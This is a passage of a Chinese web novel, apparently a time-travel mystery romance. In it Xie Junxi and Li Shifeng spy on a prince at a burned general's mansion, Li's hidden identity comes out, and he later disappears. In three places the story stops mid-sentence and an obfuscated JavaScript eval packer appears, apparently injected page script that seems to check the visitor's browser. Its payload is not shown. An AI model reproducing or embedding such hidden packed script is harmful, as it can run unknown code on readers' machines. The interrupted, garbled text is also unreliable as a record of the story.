他在紧张?谢筠熙觉得不对,那两人的去向似乎是一处僻静的住宅区,只是远远望去,可以看见一些破败的景象。 再离得近些,可以看见一些焦黑的砖瓦树木……看上去像是被火烧着的痕迹…… 火! 谢筠熙惊觉:是纵火案的现场! 想到这点,谢筠熙抬起头来,勉强睁大被风迷住的双眼,努力想要看清李时丰的脸色,奈何实在太过颠簸,谢筠熙只能感受到锢在腰间和两膝那越来越紧的力道,以及更加剧烈的心跳声。 “大人……”谢筠熙的话随风散去,李时丰却依旧感知到了怀中之人的疑惑,头也不低地说了句:“我们得再快一些。” 直到临近那座破败的中心,谢筠熙已隐隐可以看见那积满灰尘的牌匾,只能依稀辨出“镇北”二字。 在正对面的屋顶上,李时丰将谢筠熙轻轻放下,见谢筠熙要去整理自己的乱发,下意识将手伸到半空中,顿了顿,再次放下。 “大人,这里便是当年纵火案的现场吧。”谢筠熙扭着脖子将发髻扶正,末了又拍掉方才不慎沾上的尘灰,又将散乱的衣裳重新整理了一遍,这才和李时丰询问。 “是……也是……”李时丰对上谢筠熙那双永远闪着光芒的眸子,突然有些说不出话来。 “大人,他们进去了!”谢筠熙没有听清李时丰这句话,只注意到了将大门轻而易举打开又捂得严严实实的两人。 “我们走!”李时丰不得不将话吞进肚子里,先一步跳下房顶。 谢筠熙作为现代人,毕竟没怎么接触过这种毫无遮拦的高处,一脚刚踏上房檐,一块有些松动地转瓦发出吱吱的响声,听上去就要连带着谢筠熙一块拖下屋去。 啊啊啊啊啊啊!恐高犯了啊! 谢筠熙内心的小人已然扭曲成了呐喊,她僵硬地停在原地,动也不是,不动也不是,最后只能眼巴巴望向李时丰。 等了半天没等到谢筠熙的李时丰抬头看去,就是谢筠熙那张作惊恐状的小脸和渴望的眼神。 “下来,本官接着你总行了吧。”李时丰张开双臂,略显无奈。 “大……大……大人,这个高度你若是没接住我,我会不会当场离开这个美丽的世界?”谢筠熙,往下看了一眼,已经能够明显地感受到自己的腿肚子在发颤了。 “你不相信本官?那本管走了。”李时丰作势要离开,就听见谢筠熙压低声音的哀喊。 “大人,小女子错……错……错……了,别走啊,求您了大人!” 眼见着李时丰越走越远,谢筠熙晃晃悠悠坐到了房檐边上,企图找到能让自己下去的事物。 谁知还没坐下,谢筠熙就感到脚下一滑,下一秒,失控感再次传来,谢筠熙的眼前闪过一堆画面,心里暗叫不好。 不要啊!怎么开始走马灯了!呃啊啊啊不要啊!我才穿越一年不到啊啊啊! 预想中头破血流的疼痛感并没有出现在身上,反倒是熟悉的温热感袭来,然后就是那依旧没轻没重的握力。 “啊,大人,您回来的真是及时,差一点小女子就要和大人阴阳两隔了。”谢筠熙惊魂未定地拍着胸口,气若游丝地同接住她的李时丰对话。 “呵,你怎么知道本官一定会回来?”李时丰冷笑一声,说出来的话不自主地带着些不爽。 “哎呀大人您对小女子的关爱小女子能看不出来吗?而且若是我真挂了,您这不是也失去了一个得力的合作伙伴了嘛。”谢筠熙仿佛一秒就消除了方才的恐惧,又开始和李时丰逗起浑来。 “哦?是吗,本官竟不知道,你在本官这如此重要。”李时丰的眼神玩味起来。 “好了好了,放我下来吧大人,再不走一会他们该发现我们了。”谢筠熙推开李时丰逐渐逼近的面庞,耳朵尖已经红得不成样子。 明明这么不经挑逗,这货为什么还跟个木头似的。 李时丰深感不解,但也只能把怀中的“温香软玉”放回地面。 下地的后一秒,谢筠熙又昂首挺胸起来,走到镇北旧宅的大门口又开始偃旗息鼓。 “呃……大人,我们要怎么进去啊?”谢筠熙仿佛被霜打蔫的茄子,指着紧锁的大门一下子泄了气。 “跟本官来。”李时丰此时已经可以十分熟练地牵住谢筠熙的手,把她拉向要去的目的地。 直到两人走到一处荒草丛生的后院,谢筠熙望着那熟悉的围墙,突然有些蠢蠢欲动。 还没等李时丰说什么,谢筠熙已经手脚并用地攀上了院宅墙外那粗壮的树干。 “谢今安!你给本官下来!”李时丰一个没看住,谢筠熙就已经快要蹿到树冠,李时丰完全不敢相信这和刚刚那个不敢往下跳的人是同一个壳子。 “大人!不是从这里翻进去吗?”谢筠熙听见李时丰的呼唤,攀住树干停了下来。 “这里有后门,不用翻墙。”李时丰闭上双目,不忍直视。 “这样啊……”谢筠熙狼狈地转身,不得不顺着原路又爬下来。 刚一落地,就被李时丰勾住了衣带,拉到墙根训斥:“你是山猴吗本官还没说什么就往上爬,方才怎么下屋檐就不敢了?!” “那个……小女子从前在山里……呃……没有,就是爬树翻墙比较在行吗,这里的屋顶还是有点太高了……更何况没有可以攀爬的事物呀刚刚。” 谢筠熙觉得自己说得十分在理,还冲李时丰笑嘻嘻地扬起了嘴角。 “你……本官都不想说你!”李时丰愤愤转身,独自走向那个有些破旧的木门,不知做了些什么手脚,那木门一下就开了。 “嚯,大人,您还有开锁的技能呢?”谢筠熙好奇地凑上前,还没看清李时丰的操作就发现门已经打开了一条缝。 李时丰没有理会谢筠熙,而是将门敞开,因为木门有些小,李时丰又十分高大,不得不蹲下身子侧身钻进木门里。 也没见过谁家狗洞长这样啊…… 谢筠熙正纳闷,但也只好跟在李时丰身后一块钻进去,顺便贴心地又重新把门关上了。 “大人,这是镇北府的后院?”谢筠熙的身高通过这门却正正好,钻过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正在后怕,李时丰贴到谢筠熙身边,拍了几下背以示安慰。 “多谢大人。”谢筠熙向李时丰做着口型,又望向不远处的两个身影。 “殿下,您这样贸然出现在三殿下的地盘,实在有些鲁莽。” “本王总不能眼睁睁看着那小子在京城有如此明目张胆的作为吧,再过几日怕是连旧账都要给本王翻出来了,届时父皇必定会起疑。” “可是殿下,您若亲自出来,更会招衡王的注意,甚至留下……把柄。” 花昀说到最后,语气逐渐弱下去,赵璟曜显然被这话气得不轻,当场给了花昀一记眼刀,眯眼阴鸷地逼近他:“花昀,你在大理寺潜伏这些年是被赵泓玉的人给趋同了吗?本王现在也轮得到你来置啄了?” 赵璟曜绕着花昀转了一周,又负手而立发出最后的通牒:“如今算算时日,大理寺也应知道你叛逃的消息,安分了几年,又要开始东躲西藏了啊,花昀。” “本就是在为大人和殿下做事,只是回到原来的职责上罢了。”花昀不卑不亢地反驳赵璟曜。 “花昀!你和那个女人一样,就应该是烂在街头的贱民,若不是我们收留了你,此时已不知被丢到哪个乱葬岗了!可……那个女人竟然敢背叛我……” 赵璟曜说到这里,笑得愈发残忍起来,他一把拽住花昀的衣襟:“要不是你亲手了解了那个女人,你就和她一样,早就不存在于这个世上了!若是让本王发觉你有一点二心……” “殿下,属下从未起过二心,若殿下不信,属下可以死明鉴。”花昀说出这话时,没有一丝一毫的恐惧。 “真的?”赵璟曜松开花昀的衣襟,替他拍了拍,又不知从何处掏出来一把匕首。 赵璟曜袖间闪过的寒光,让藏在草堆里的谢筠熙忍不住屏住了呼吸,李时丰也是眉头紧锁,二人一动不动,看着接下来会发生的事。 “即然如此,那你便去死吧。”赵璟曜的匕首直直向花昀的脖间刺去,谢筠熙瞳孔骤缩,忍不住闭上了双眼,好在李时丰搭住了她的肩膀,让她能够稍微安心一些。 花昀没有后退半分,赵璟曜的匕首贴着花昀的脖间,划出一道血痕,却堪堪停下。 “呵,倒还有些骨气。”赵璟曜自讨没趣,把那价值连城的匕首往花昀手中一抛,头也不回地离开了。 “他们要去哪里?”谢筠熙见那二人离开,急着要起身。 “稍安勿躁,等他们走远了再动身。”李时丰按下蠢蠢欲动的谢筠熙,动耳捕捉着这两人离开的脚步声。 “大人,秋芸果然是……”谢筠熙的眼眶有些发红,但她硬生生把眼泪憋了回去。 “她的事以示注定,若是花昀不杀她,她也会死,只是,那些人似乎把选择权交给了花昀。”李时丰缓慢地向前挪动了一些,向谢筠熙解释着。 41. 闷炸 “所以花昀这是迫不得已?”谢筠熙跟着挪了一步。 “如今看来,应当是了,只是其中的隐情,还不得而知。” 谢筠熙没有再问,她知道,如今只能继续探下去,才会有结果。 方才还走在前面的那两人,转眼之间已向旧宅的荒水池走去,李时丰和谢筠熙躲在角落里,眼见着他们走到水池中央的小亭便停下,也止住了脚步。 谢筠熙靠在墙边长舒一口气,李时丰却把她扶正,替她掸了掸后背:“别靠,这里许久没有清扫,脏。” “多谢大人,不过我倒不觉得这里脏,镇北将军战功赫赫,原本应该功成名就风光回京,如今却落得此等下场,这园中若脏,脏的也是害人之心。” 谢筠熙将手轻轻搭上小墙,沾上那片灰土后又用力地将它放在指尖狠狠捻去。 “你……”李时丰欲言又止,无声注视着谢筠熙指尖掉落的尘灰,最后默默转过了身。 “大人,您现在还不说吗?”谢筠熙绕到李时丰身前,弯腰探头,“其实大人,应当才是这所旧宅的主人吧。” 李时丰猛地与谢筠熙对视:“为何这么觉得?” “大人您先前说您并非彻彻底底的京城人,那是不是可以说明,从前大人并没有在京城常住?而且据我所知,镇北将军夫妇似乎有过一子,只是……坊间传闻里这个孩子最后却消失了,大人你说奇不奇怪?” 李时丰正要回话,见谢筠熙正玩味地看向他,张开的嘴又闭了回去。 谢筠熙望向李时丰的眼里闪着潋滟的光,她没有给李时丰插话的机会,直起身子又往前走了两步,接着说:“我看刚刚大人对镇北府如此熟悉,知道可以另辟蹊径走小门,又知道这个门该怎么开,而那门虽然小,却是少年足以通过的高度,所以……” “所以,你怀疑本官就是那个孩子?”李时丰反逼近谢筠熙。 谢筠熙不由自主往后退了一步,但却没有示弱半分。 “大人原本应该子承父业吧,为什么要隐瞒自己的真实身份?” 李时丰冷笑一声,面色霎时间染上寒霜:“子承父业?然后将这一切都彻底翻篇,再被派到北萧从此远离京城的一切?” 谢筠熙觉得李时丰的笑里带着些苦涩,她的心也被揪起来,一时之间,竟对这个男人产生了一丝心疼。 “镇北将……我爹娘的确为大辰守住了北萧边城,忠心日月可鉴,本官不能接受他们就这样草率离开。” 李时丰突然抓住谢筠熙的胳膊,声音有些暗哑:“谢今安,你知道吗,我那日快马加鞭回京,却只看到了他们的尸体被裹在白布里从我面前离开……我不信,还追上前去看,可是……” 谢筠熙扶住逐渐低下头的李时丰,轻拍着他的背,她没有办法给这个沉浸在回忆中的人什么有效的安慰,于是只能选择倾听。 两人缩在墙角,任由周围的杂草戳在身上,刮得生疼,终是没有发出什么太大的动静。 “我三次秘密上书,陛下也仁至义尽,可查来查去,根本就查不出什么,那时我对京城并没有如今这般熟悉,自然也无可作为。” 李时丰手上用劲,捏得谢筠熙生疼,许是察觉到了她的痛苦,李时丰送了些力道。 “大人,您从未甘心过,对吧。”谢筠熙抱住李时丰,将他的头靠到自己肩膀上。 “后来本官知道了,京中之人是何等做派,所以本官一直觉得此事定是有人指使,陛下亦认为此事亏欠于本官,所以答应本官隐了身份。”李时丰从谢筠熙肩头起来,眼里的阴鸷渗出。 “那入大理寺一事……” “此事多亏了衡王,于情于理,都算本官欠他一个人情。”李时丰似乎是觉得方才那番模样有些难为情,撇过头没有再看谢筠熙。 谢筠熙倒是并没有察觉这一点,只是垂眸仔细思考着:“如今一看,大人与我,倒是合拍。” 李时丰蹙眉:“怎么说?” “都为了真相坚持不懈。”谢筠熙冲李时丰莞尔一笑。 “呵,本官与你可不同,此乃血海深仇,那些人,必须死在本官手中才解恨。”李时丰睨了谢筠熙一眼,就看见她伸在半空中的手,“你作甚?” “大人,脏东西一个人清理太累了。” 李时丰有些惊讶,印象里谢筠熙见血就犯恶心,何时说得出如此决绝的话。 “把一切都拉回正轨好不好,既然已经有了变数,就像碎片,也能有法子将它重新拼凑起来复原,而拼起它的人,一定是我。”谢筠熙依旧笑着,眼里却燃着异样的火光。 “你被夺舍了?”李时丰挑眉。 谢筠熙浑然一震,这才意识到自己说了什么:“大人,我只是对……这一切莫名有些兴奋,见谅。” “你还真是不一样啊,谢今安。”李时丰眯眼看去,谢筠熙依旧是那副纯良的模样。 “大人,我们继续吧,不要再浪费时间了。”谢筠熙指了指墙外。 “嗯,我们先离开这里,院池太容易暴露了。”李时丰如今已可以十分自然地抓住谢筠熙的手腕将她带离这处墙角。 小亭中。 “花昀,你不觉得有人在跟着我们吗?”赵璟曜面对着镇北府的苍夷皱起了眉。 “怎么会呢殿下,此处已被查封许久,应当不会有旁人进入。”花昀温顺地回了句,仿佛刚刚那副刚硬的模样是装出来的。 “最好是这样,花昀。”赵璟曜疑心地扫视了周围一圈,的确没有发现什么异样,这才又略带威胁地冲花昀说出这话。 就在景王转过身去的那一瞬,花昀往院池尽头的墙角瞥了一眼,平直的嘴角上扬了一些,但很快就被隐去。 “你在大理寺这么多年,可还是知晓些什么?本王看李时丰最近也不大安分,又是帮着赵泓玉找九弟又是要重启当年那一案的,这对本王来说,无一不是威胁。”赵璟曜说到纵火案时,下意识看向了院池外的主宅了,又哼笑一声,似是在嘲李时丰的自不量力。 “回殿下,三殿下与李大人的确站在一边,而且最近他们之间多了一个女子插足,此女……”花昀规规矩矩地回答赵璟曜的问话,谁知刚提到谢筠熙就被赵璟曜截断了话头。 赵璟曜来了兴趣,先一步开口:“就是那个将本王的人当猴耍的女人?” “呃……王爷,您要是这么说,是的。”花昀一时之间竟有些不知道该怎么接话,只能含糊其辞给了这么个回应。 “果然是赵泓玉和李时丰的人,好啊,本王倒要知道,此女究竟是何方神圣!”赵璟曜面上虽然笑着,但其中的寒意呼之欲出。 花昀迟疑了一番接着道:“能和那二人搭上线的能是什么市井小民。” 赵璟曜走进花昀,审视的目光袭来,景王那幽深的黑眸里盛满了狠戾:“花昀,你知道她是谁,对不对。” 花昀直视着赵璟曜,却果决地摇了摇头:“属下只是猜测,此女的修复技艺师从何处,又与谁颇有渊源,这些属下都不得知。这样的人,像衡王和李大人,自然也会处处维护,我这样的无名小卒,自然没有办法直接得知。” 赵璟曜眼中的怀疑褪去了半分,但没有完全散尽,他拍了拍花昀的肩膀,最后在他耳边说了句:“花昀,最好确保你说的都是实话,那人器重你,本王还暂时动不得你,可如果,你先走了歪路,比本王更想杀了你的,绝对是那人。” “属下的命都是大人的,死,又何惧。”花昀转过身,视线追随着赵璟曜,看他渐行渐远。 “好,那你可要继续保持你的忠心,不然你就同镇北府这帮人一样,去死吧。”赵璟曜走出小亭的那一刻,突然转身冲着花昀指了指这满园的荒景。 “属下定不辱命。” 花昀拱手离开的时候,握起的拳头几乎被指甲深深扎进肉里,“定不辱命”四个字,是他咬牙切齿说出来的。 此刻的围墙外,谢筠熙和李时丰趴在墙角的缝隙里偷听着里面的对话,听到他们提到自己,谢筠熙浑身一泠,立刻变得面无血色。 “怎么,害怕了?方才不还是信誓旦旦的。”李时丰拿手在谢筠熙面前晃了晃,露出幸灾乐祸的笑容。 “哪有,只是以后我大概,要靠大人多多照拂一番了,景王怎么跟条疯狗一样,总觉得我的脖子有些凉凉的。”谢筠熙一把拍开李时丰的手,忍不住摸了摸后脖颈。 “嗯,你被他盯上了,谢今安,干得不错。” 谢筠熙哪里听不出来这是李时丰的挖苦,赏了他一个白眼后,谢筠熙又跟变脸一般,冲着李时丰摇尾巴:“大人,小女子的命就攥在你和衡王手里,从此我们就是一根绳上的蚱蜢了,求关照求关照。” “俗话说的好,大难临头各自飞,本官可不觉得赵泓玉会有多庇护你。”李时丰难得地跟谢筠熙打趣,说出的话却难听得不行。 谢筠熙想起她在赵泓玉面前无处遁形的模样,虽然不得不承认李时丰说的话的确有几分道理,但她依旧幽幽望向李时丰,眼疾手快地捉住他的手,在这个本就狭小的空间里不断向他靠近:“那……大人呢?” 李时丰被她这套突如其来的动作弄得有些不知所措,他不自觉地向后缩了缩,语气十分不自然:“你,不要动手动脚,好好说话。” 谢筠熙看到李时丰这番窘迫的模样,显然起了兴趣,于是变本加厉地又握住李时丰的另一只手,灵巧地钻到他的怀里:“大人,求您了,我们好歹是有共同目标的盟友嘛。” 我的节操,不行我的命,我的节操,不行我的命,我的节操,不行我的命…… 谢筠熙的颅内正在上演三战,全然没有注意到李时丰此刻正处于闷炸之中。 女人的身体柔软又富有弹性,如同暖玉一般缠上了李时丰,谢筠熙相比大辰的其他女子大胆了太多,甚至还不自觉地在他身上诡异地蠕动。 李时丰饶是再柳下惠,也是一个男人,更何况二人所处的地方空间太小,没过一会谢筠熙就挂在了李时丰身上,隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“花昀,你早就发现我们了。” 李时丰抬起头来,坐在围墙上的花昀豪迈地将一条腿翘到砖瓦之上,拿着一根小树枝指向蹲在墙根的二人。 李时丰先一步起身,不动声色地向前迈了一步,就要将虎口靠向刀柄。 “老大,别紧张嘛,跟属下做个戏好不好。” 这个状态的花昀跟变了一个人似的,那清秀的面庞勾着笑,竟让谢筠熙感到了一丝邪魅,她几乎有些不敢确定这是几天前她见过的花昀。 “什么?”李时丰依旧没有松开握住刀柄的手。 “老大,放心,属下不会把今天的事告诉景王的,只是需要老大配合一下。”花昀嘻嘻笑着,将手里的小树枝冲着李时丰一弹,虽然他早有准备立刻往后退了半步,那小树枝却直直插进土里三分,其力道之大,足见此人功力深厚,非等闲之辈。 花昀在大理寺的时候果真有隐藏实力的嫌疑,难怪当时我跑这么快他还能追上我! 谢筠熙顿时反应过来,也警惕地起身后退了半步,三人对峙着,空气沉默了一瞬。 “很简单,老大和属下打一架,挂彩就行。”花昀晃着手里的树叶不紧不慢地说着。 这时的谢筠熙忽然注意到了一丝异样:这熟练的翻墙爬墙本领,同蕙兰之前描述的倒是相似,只是身形这一块对不上……赵璟曜刚才又说秋芸背叛了他们,莫非花昀……本就和秋芸相识,甚至是那个所谓的组织一手培养起来的?!! 一些事情逐渐对应起来,可谢筠熙隐隐觉得,这底下还藏着更深的因果,只是现在的情形,显然不方便太多过问。 想这些的时候,那厢已经陷入了苦斗,刀光剑影之间,二人都已挂了彩,谢筠熙分明就看出了二人都在互相放水,也不知究竟谁更强一些。 花昀的身形和剑法更为灵巧一些,缠斗对他来说似乎是拿手好戏,而李时丰则干脆利落,每一刀下去都没有丝毫的拖泥带水,招招式式尽显锋芒。 旁观的谢筠熙甚至有点想来把瓜子磕一磕,奈何还有景王这个不定因素,搅得她只能一遍又一遍观察着周围的一切不敢马虎。 终于结束了打斗,谢筠熙见花昀再次跳上墙头忙趁着他要离开的后一秒最后问了一个问题:“花昀,你究竟是不是我们的敌人?” 谁知花昀擦去嘴角的血迹,用一种近乎轻松的语气说:“至少接下来这段时间,我可能会时常来找麻烦。” 他的身影逐渐消失在不远处,谢筠熙眺望了半天,这才听到李时丰传来的声音:“好看吗?一条绳上的蚱蜢?” “不好看不好看,大人您还好吧,我看您都流血了。”谢筠熙立刻收回目光,回到李时丰的身边嘘寒问暖。 “先回去吧。”李时丰不动声色地缠上了谢筠熙的胳膊。 42. 匪夷所思 两人回大理寺后,足足两日都没有出过门,许是上一次出门收获不少,许多事情需要整理,谢筠熙觉得自己这两日的忙碌程度堪比秋芸自首时做的事。 李时丰也没有给她什么特殊待遇,该当牛马使还是当牛马使,这些谢筠熙都习以为常,只是她总觉得李时丰最近都在躲着她,每次想去找李时丰问些话,陆贰和徐柒总是先一步走上来解答。 这人又藏着什么祸心呢? 谢筠熙第一时间怀疑李时丰又要整她,可是等了整整一天一夜,除了一些必要的工作,却没有任何不合理的要求出现在谢筠熙这里。 还真是纳了闷了。 男人的心怎的也跟海底捞针似的。 谢筠熙十分不解,但她反倒觉得这样挺好,毕竟从前工作的时候她也习惯了一个人,哪怕抛开工作,生活也是一样。 直到两日后,一阵急促的敲门声将谢筠熙从睡梦中吵醒。 正当她迷迷糊糊起身时,却听见一阵叮铃哐啷的钥匙串碰撞音,那人已不知从哪取来了钥匙,将谢筠熙的门毫不留情地打开。 何人擅闯本小姐的卧房!不对……这是大理寺…… 谢筠熙的双眼被迫接受阳光的直射,差点亮瞎她的双眼,好不容易适应了这种亮度,谢筠熙透过指缝看清了眼前之人的面容。 赵,泓,玉!? “大人呢?怎么是您啊王爷。”谢筠熙慌忙起身,匆匆忙忙披上外衣套上鞋袜,正要向赵泓玉行礼。 “好了,你就别来这些虚礼了,起来吧。”赵泓玉并没有傻站在原地,而是朝屋中那木椅径直走去坐下。 谢筠熙见他这么说,又一屁股坐回了榻上,揉着隐隐作痛的太阳穴问:“王爷,有什么事吗?” 赵泓玉还是在那不紧不慢地摇他那把扇子:“哦,本王就是来告诉你一个坏消息。” 说到这这人还偏生要吊个胃口,把话停在这就是不肯往下接着说,就看着谢筠熙皱着张小脸朝他转来,这才悠悠笑了下,继续将话题扯偏:“话说熙老板怎么刚进门就问时丰啊,原来已经习惯他来你这屋子了是吗?” 呃啊啊啊,又来了,谢筠熙气得有些牙痒痒,但面前这货是权贵阶级她实在惹不起,只能将藏在袖子里的拳头又捏紧了些,好声好气地说出反驳的话:“关您何事,殿下。” 赵泓玉一听,登时乐不可支:“没变,真是一点没变啊熙老板,好吧……你的大人他,不见了。” 嗯?谁不见了?大人?李时丰? 李时丰不见了!! 谢谢筠熙满脑门的瞌睡虫硬是被吓得全部都原地飞走,她将那双眼睁得浑圆,不可置信地发出一个单音:“啊?” 赵泓玉就知道她是这个反应,又特意将话重复了一遍:“对,李时丰不见了,不是提前说过的离开,是失踪了。” “陆贰和徐柒知道这事吗?” 谢筠熙从榻上站起身来,把侧厅的门彻底打开。 “问他们他们也不说,你说本王该生气吗?”赵泓玉那双不辨喜怒的双眼随着谢筠熙的动作望向门外,轻轻眯了眯。 “你做了什么?”谢筠熙敏锐地察觉到了背后的寒意,几乎条件反射地转过身。 赵泓玉好整以暇地合上扇子,指尖点了点太阳穴:“无非就是对这两个以下犯上的属下略施惩戒罢了。” “陆贰和徐柒现在在哪里?”谢筠熙快步走到赵泓玉跟前,一把抓住他的衣领,拧着眉质问他。 赵泓玉被揪住衣领却并没有生气,只是将头微微向前倾了些,用他那张和善的脸说出残忍的话:“不过是抽了几鞭,他们都没说什么,熙老板怎么反倒开始为他们鸣不平了。” 谢筠熙直观地看到了赵泓玉眼中的怀疑,像是被一条冰凉的毒蛇缠上,将谢筠熙冻得一哆嗦,她立刻松开赵泓玉的领子,面上却没有降下半分的不满:“殿下,他们是知道些什么却不说吗?” 赵泓玉再次靠回椅背上,只发出一个单字:“嗯。” “大人何时走的?”谢筠熙自觉地和赵泓玉隔开一段距离。 “你们刚从春满园回来那日之后,时丰便不见了踪影。” 他果然知道我和李时丰去了春满园…… 谢筠熙的内心没有半分惊讶,春满园本就都是赵泓玉的人,一定会把二人造访的消息告诉他。 赵泓玉见谢筠熙正沉思,忽得笑起来:“说起这事,熙老板真是百年难得一遇的天才,竟想出让时丰扮作女子,本王听到此事也是颇为震惊啊。” “那日殿下也在春满园?”谢筠熙面露疑惑。 “本王哪有这么空,这些只是那些叽叽喳喳的小姑娘告诉本王的罢了,真没想到时丰竟然愿意为了你做到这一步,从前他可是矜持得很,要是有人想让他穿上女子的衣服,他早将那人砍得连渣都不剩了。” 被他这么一说……大人对我,的确是有些不一样……可是这是为何呢? 谢筠熙被赵泓玉这样一说,莫名其妙联想到了那个字眼,她慌忙将脑中的念头打散。6 “熙老板的面颊为何如此之红,是着了风寒吗?”赵泓玉故意说得大声,将谢筠熙震得赶忙捂住了自己的脸。 偏偏赵泓玉没打算就这么放过谢筠熙,从那木椅上站起身来,上下打量着谢筠熙,又是张口就来:“谢今安,你其实就是块木头吧。” “什么?!!没有……我……”谢筠熙有些语无伦次,她知道赵泓玉在说什么,但她并不想懂得这么透彻,这让她有种怪异的感觉,就像是身上爬满了小虫子,再低头一看,胳膊上竟起了鸡皮疙瘩。 “好了,打住,我们先停一停。”谢筠熙使劲搓了搓胳膊,红着一张脸伸出一只正义之手悬停在半空中,及时止住了赵泓玉的话头,“殿下,有没有一种可能,大人他是又去了那座旧宅。” “哦?你是说,镇北府?”赵泓玉终于停下了对谢筠熙的挑逗。 “对!两日前我和大人最后所处的地方便是那镇北府,在那里我们还遇到了景王和花昀。” 谢筠熙的直觉越发强烈,她总觉得李时丰一定不会放弃这一契机,那日虽说先回大理寺商量,但李时丰回来的路上不止一次往镇北府的方向眺望,一副心事重重的模样。 “这样说来,陆、徐这两个人,对时丰忠心耿耿,若他要做逾矩的事,必然会替他保守秘密。”赵泓玉此时倒是想透了这一点。 “只是,他为何要瞒着本王,那日可还发生了其他什么事?”赵泓玉话一转折,犹疑的目光投向谢筠熙。 其他事…… 谢筠熙目光一泠,突然想到了些什么,暗叫不好:花昀不会莫名其妙非得要求李时丰跟他干架,莫非是什么暗示?! “殿下,请允许我先洗漱一番,我们去正厅议可否?”谢筠熙正经起来。 “准了。”赵泓玉一脚踏出侧厅的门,头也不回地往正厅方向走去。 一番周折过后,陆贰和徐柒望着堂上的二人,背上的鞭伤又痛起来。 “老徐,我就知道殿下要来找这女人,咋办?” “闭嘴,大人现在已然去了,我们的时间拖得足够久,无碍。”徐柒拿赤裸的肩膀碰了碰陆贰,示意他闭上自己那张破嘴。 谢筠熙刚进正厅大门,见到的就是赵泓玉悠闲喝茶,地上跪着俩半裸男人的诡异场面,要不是她来自二十一世纪不是什么老封建老古板,不然一定会惊叫出声。 见谢筠熙走来,二人齐刷刷回头看了她一眼,相视无言又默默将头低了下去。 谢筠熙冲那莫名其妙的二人眨了眨眼,又忽然看见他们背上的伤,不由在心中腹诽:赵泓玉真下手了……好吧,倒也符合他真正的性子。 “殿下。”谢筠熙行过礼,便绕过那略显心虚的二人,坐到赵泓玉边上。 “嗯,说吧。”赵泓玉放下茶盏。 “不知殿下在接风宴上对柳家的怀疑从何而来?” 谢筠熙刚问出这话,下边的陆贰和徐柒就不由自主地颤了一颤。 “谢今安,李时丰连这事都同你说了?”赵泓玉浑身上下散发着危险的气息。 “不是……”谢筠熙立刻矢口否认。 “那便是灵蛇那孩子?”赵泓玉见她维护的模样,心里已有了数。 “……” 完了,我是不是闯祸了。 谢筠熙心如死灰。 赵泓玉哪里看不出谢筠熙的心思:“若是灵蛇那孩子,倒也无妨,她前些日子还和本王夸你来着,今安。” 一声“今安”愣是让谢筠熙听得汗毛倒立:“殿下,求您别这么叫我,好诡异。” 赵泓玉见她这难堪的模样,不由又起了些玩弄的心思:“怎么,时丰这样叫你你就不觉得怪了?” 说罢又叫了两声。 谢筠熙在内心咆哮:怎么会不怪!啊!都怪这个赵泓玉,现在说什么都好奇怪! “恕我直言,也怪。”谢筠熙放在双膝上的手不由自主攥紧了布料。 “好了,不说这些了,你既想要知道,本王告诉你也无妨。”赵泓玉目的达到,乐呵呵又回收话题。 “你们两个,起来吧,先退下。”赵泓玉转向地上跪得笔直,耳朵同样竖老长的二人,断绝了他们继续偷听的想法。 陆贰和徐柒互相对视,又朝谢筠熙方向看了一眼,立马起身告退,连滚带爬地飞出了正厅。 “这两人……”谢筠熙很想笑,但是她必须得忍住。 “时丰捡到他俩之前可完全不是这样。” 赵泓玉和谢筠熙一起望向门外消失的那两道身影。 “虽然我很好奇,但这个话题我们以后再提吧,殿下,正事要紧。”谢筠熙眼看话题又要被扯远,赶忙回话。 “嗯,你可知道柳家的底细?”赵泓玉半认真半试探地瞥向谢筠熙。 “知道一些,但无非局限于他们家是辅佐过三朝圣上的大家族,势力深厚,如今依殿下这点子看来,似乎对二殿下也有扶持之意。”谢筠熙其实对柳家了解不少,穿越之前各个朝代的历史她都知根知底,虽然局限于史书,但以柳氏在历史上的知名度,她知道的远远不止这些。 不过此刻她又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“一些旁门末支倒没什么可说的,只是柳家的那些人才,说多了不大合适,本王怀疑的倒是还有一个,天天跟在柳无涯后屁股跟的那个次孙——柳洵。” 赵泓玉翘上二郎腿,脚尖一摆一晃,突然想到了些好笑的事。 谢筠熙在脑中回忆着对此人的印象,如果没有记错,他似乎在辰朝后期也是一大历史名人,只是负面评价比较多。 包括但不仅限于卖爵鬻官,贪污腐败,只是淳光年间他似乎还算比较正常,赵璟曜继位后期,柳无涯病逝,他就愈发肆无忌惮起来,也是辰朝由盛转衰的因果之一。 “竟然是他吗……”谢筠熙面上露出嫌恶的表情。 “怎么,你对柳洵也有意见?”赵泓玉见谢筠熙眼里毫无掩饰的情绪,饶有兴致地问道。 “嗯,有,但就不展开说了,我怕吓到殿下。”谢筠熙毫不掩饰地点头。 赵泓玉斜眼看向谢筠熙,见其义愤填膺的模样,终是没有开口问下去。 “现在很有趣的一点。”赵泓玉拿指节敲了敲桌面,接着说下去,“九皇子回来了,柳家或许还会和景王有勾连,但肯定会有嫌隙,二哥的性子比本王还烂,不出几日,本王的人应当就有消息了。” “那此时大人离开……” 两人的话头终于又扯到了李时丰身上。 “你说你见到了景王和……花昀?”赵泓玉摸了摸下巴。 “对,花昀让大人跟他掐了一架,然后……” “等一下,本王或许知道了什么,花昀现在可以确定是景王的人吗?”赵泓玉望向谢筠熙 “感觉不像,听完殿下一席话,我怀疑,是柳无涯的人。” 